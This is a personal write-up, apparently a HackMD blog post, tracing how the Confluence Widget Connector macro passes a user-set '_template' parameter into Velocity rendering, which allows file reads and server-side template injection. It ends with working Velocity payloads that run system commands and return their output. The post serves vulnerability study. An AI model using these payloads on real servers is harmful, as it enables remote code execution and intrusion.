# *SOME WEB THINGs THAT I LEARNED (part 9)* #### This is my first time trying to create a CVE POC, i want to share my journey and progress. ## I. Brief summary: - ***CVE-2019-3369***: Macro Widget Connector is vulnerable to SSTI, which causes it to be RCE exploitable. ![image](https://hackmd.io/_uploads/Syu75LSnR.png) ## II. POC + Explaination: - Let's recreate the attack and explain along the way: - We begins by logging in and create a new blank page so we can work with it.![image](https://hackmd.io/_uploads/HkANA8Bh0.png) - Now we enter something, or not. Then press the ```+``` button, and choose *```Other Macros```*.![image](https://hackmd.io/_uploads/Bkb2ALS2A.png) - Then choose: ![image](https://hackmd.io/_uploads/ry2s4PBhA.png) - Enter a URL, and the required properties, before pressing ```Preview```, which will then call to the **```WidgetMacro.class```**.![image](https://hackmd.io/_uploads/rkQQKwr3A.png) - When clicked on ```Preview```, you can see it calls to the ```execute``` method:![image](https://hackmd.io/_uploads/BJIhjPrhA.png) - And this is the request and response:![image](https://hackmd.io/_uploads/rkfA6wS2C.png) - Here you can see it takes in the data from the parameters: url, width and height. ![image](https://hackmd.io/_uploads/ryf9RDrnR.png) - Then passes the parameters value into the ```renderManager.getEmbeddedHtml``` function.![image](https://hackmd.io/_uploads/rJE7kdrnA.png) - Jump into it, we can see it calls to the ```getEmbeddedHtml``` function in **```DefaultRenderManager.class```**. ![image](https://hackmd.io/_uploads/r15xz_rn0.png) - Here, it will uses ```renderSupporter.iterator()``` to iterate through the supported renderer type. ![image](https://hackmd.io/_uploads/BJn44nShC.png) - It then calls to ```getEmbeddedHtml()``` function in **```YoutubeRenderer.class```**:![image](https://hackmd.io/_uploads/HyMDvnB2R.png) - Let's jump into the two functions inside: ```getEmbedUrl``` and ```setDefaultParam```. - *```getEmbedUrl```*: this functions only seems to check whether the URL we provide is matches with the regex of ```YOUTUBE_URL_PATTERN```. - *```setDefaultParam```*:![image](https://hackmd.io/_uploads/BJuUh3rnR.png) - Takes in the value of ```width```, ```height```. If the value for ```_template``` is not set, then it will automatically set it to have a value. *But ... what happened if we set a value to it?* - The purpose for this functions is to takes in the value of the params, and pass it back into Velocity template. - Continue to jump in, it will then call to the ```velocityRenderService.render()``` function in the **```DefaultVelocityRenderService.class```** and call the ```render``` function: - This function is simple as well, it prepares the values retrieve from the parameters, checking them, html encode them before passing them into a ```Map```, which will be passed into the ```getRenderedTemplate()``` function. - **```getRenderedTemplate()```**: call ```VelocityUtils.getRenderedTemplate()``` function in **```VelocityUtils.class```**, as pass in the needed value.![image](https://hackmd.io/_uploads/B11AdyIh0.png) ![image](https://hackmd.io/_uploads/HkQGtkU20.png) - Continue to jump in, it will call to a function with the same name. Which then calls to the ```getRenderedTemplateWithoutSwallowingErrors``` function. ![image](https://hackmd.io/_uploads/rkaHtJLn0.png) - Here, you can see, it is passing in the template name, taken from the previous ```_template``` value.![image](https://hackmd.io/_uploads/BJ-TF1IhA.png) ![image](https://hackmd.io/_uploads/Hy70K1U2C.png) - Continue to jump, you can see it's calling another function called ```getTemplate```.![image](https://hackmd.io/_uploads/ByVrckI2A.png) - It passes in the template name, set the encoding, and call to another function called ```getVelocityEngine().getTemplate()``` in **```VelocityEngine.class```**. ![image](https://hackmd.io/_uploads/ry5t61L20.png) - From ```getVelocityEngine().getTemplate()```, it then continue to call to **```RuntimeInstance.class```** ![image](https://hackmd.io/_uploads/HJU0Gf8n0.png) ![image](https://hackmd.io/_uploads/Hkdy7zI20.png) - Continue to call to ```resourceManager.getResource()``` function which is located in **```ConfigurableResourceManager.class```**:![image](https://hackmd.io/_uploads/HkmqwfUnC.png) - It calculated the ```resourceKey``` base on ```resourceName```, which is the template name from ```_template```, and ```resrourceType```. - It then checks the ```cache``` base on the template name. If there exist a ```cache```, then it will returns the result to the user. If not, then it create a new one. => If you dont change the ```resourceKey```, in which, the template name, then it will return the result of the previous template. - When cache is null, it will pass the values to ```loadResource()``` function. Which will call to 4 resource loaders in **```ConfigurableResourceManager.class```**.![image](https://hackmd.io/_uploads/Bybvpgwn0.png) - These loaders include as it will run the template through each loader: ``` com.atlassian.confluence.setup.velocity.HibernateResourceLoader org.apache.velocity.runtime.resource.loader.FileResourceLoader org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader com.atlassian.confluence.setup.velocity.DynamicPluginResourceLoader ``` - We only need to focus more on *```FileResourceLoader```* and *```ClasspathResourceLoader```* - **```FileResourceLoader```**:![image](https://hackmd.io/_uploads/Sy6Ik4P3C.png) - Uses ```StringUtils.normalizePath()``` to prevent path traversal. This loader loads file from its self, checking for path traversal to prevent. ![image](https://hackmd.io/_uploads/HktxlED20.png) - **```ClasspathResourceLoader```**: when using a protocol, it will call to this loader. ![image](https://hackmd.io/_uploads/r1eMCxOhR.png) - Then jump into ```ClassUtils.getResourceAsStream()``` in **```ClassUtils.class```**. From there, it will call to ```WebappClassLoaderBase```. ![image](https://hackmd.io/_uploads/rkKfF4_hA.png) - Then jump into ```classLoader.getResourceAsStream()``` function, which is in **```ClassLoader.java```** file. Here, it create an ```url``` object, which will pass to another function. ![image](https://hackmd.io/_uploads/rJfeq4dn0.png) - Continue to the ```openStream()``` function in the **```URL.java```** file, which will return the input stream that read from the open connection URL. ![image](https://hackmd.io/_uploads/rJct2Nu2C.png) - ***Result***: ![image](https://hackmd.io/_uploads/BJdPaVdnC.png) ![image](https://hackmd.io/_uploads/BkRco8d3R.png) ![image](https://hackmd.io/_uploads/SkGvnLu2R.png) - I think we can call this an SSRF sink, where we can use protocols to retrieve files within the system. - Continue with SSTI, let's go back to the previous function. ![image](https://hackmd.io/_uploads/ByVrckI2A.png) - Here, you can see there is a function called ```renderTemplateWithoutSwallowingErrors()```. Let's jump into it and see what it does. ![image](https://hackmd.io/_uploads/ByLVjBYnR.png) - Here you can see it uses another function called ```merge()```. Let's see what that function does.![image](https://hackmd.io/_uploads/ryAKC9F2C.png) - At the end, it called the ```SimpleNode``` with the ```render()``` function in the **```SimpleNode.class```**.![image](https://hackmd.io/_uploads/SyaEqiKhA.png) - Continue to jump into the ```render()``` function which locate in **```ASTText.class```** which extends from ```SimpleNode.class```. ![image](https://hackmd.io/_uploads/HkFW3sFhR.png) - Get into the ```write()``` function, which returns the templates. ![image](https://hackmd.io/_uploads/HkNY3oK2R.png) ## III. RCE - Let's send a file through the ```_template``` variable so we can trigger when ```Velocity``` render and trigger RCE. ```java! $height.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc") ``` ![image](https://hackmd.io/_uploads/SJ5Ki_uh0.png) - Payload for RCE: ```java! #set ($exp="hello") #set ($a=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($command)) #set ($input=$exp.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a)) #set($sc = $exp.getClass().forName("java.util.Scanner")) #set($constructor = $sc.getDeclaredConstructor($exp.getClass().forName("java.io.InputStream"))) #set($scan=$constructor.newInstance($input).useDelimiter("\\A")) #if($scan.hasNext()) $scan.next() #end ``` ![image](https://hackmd.io/_uploads/ryUhhxj2A.png)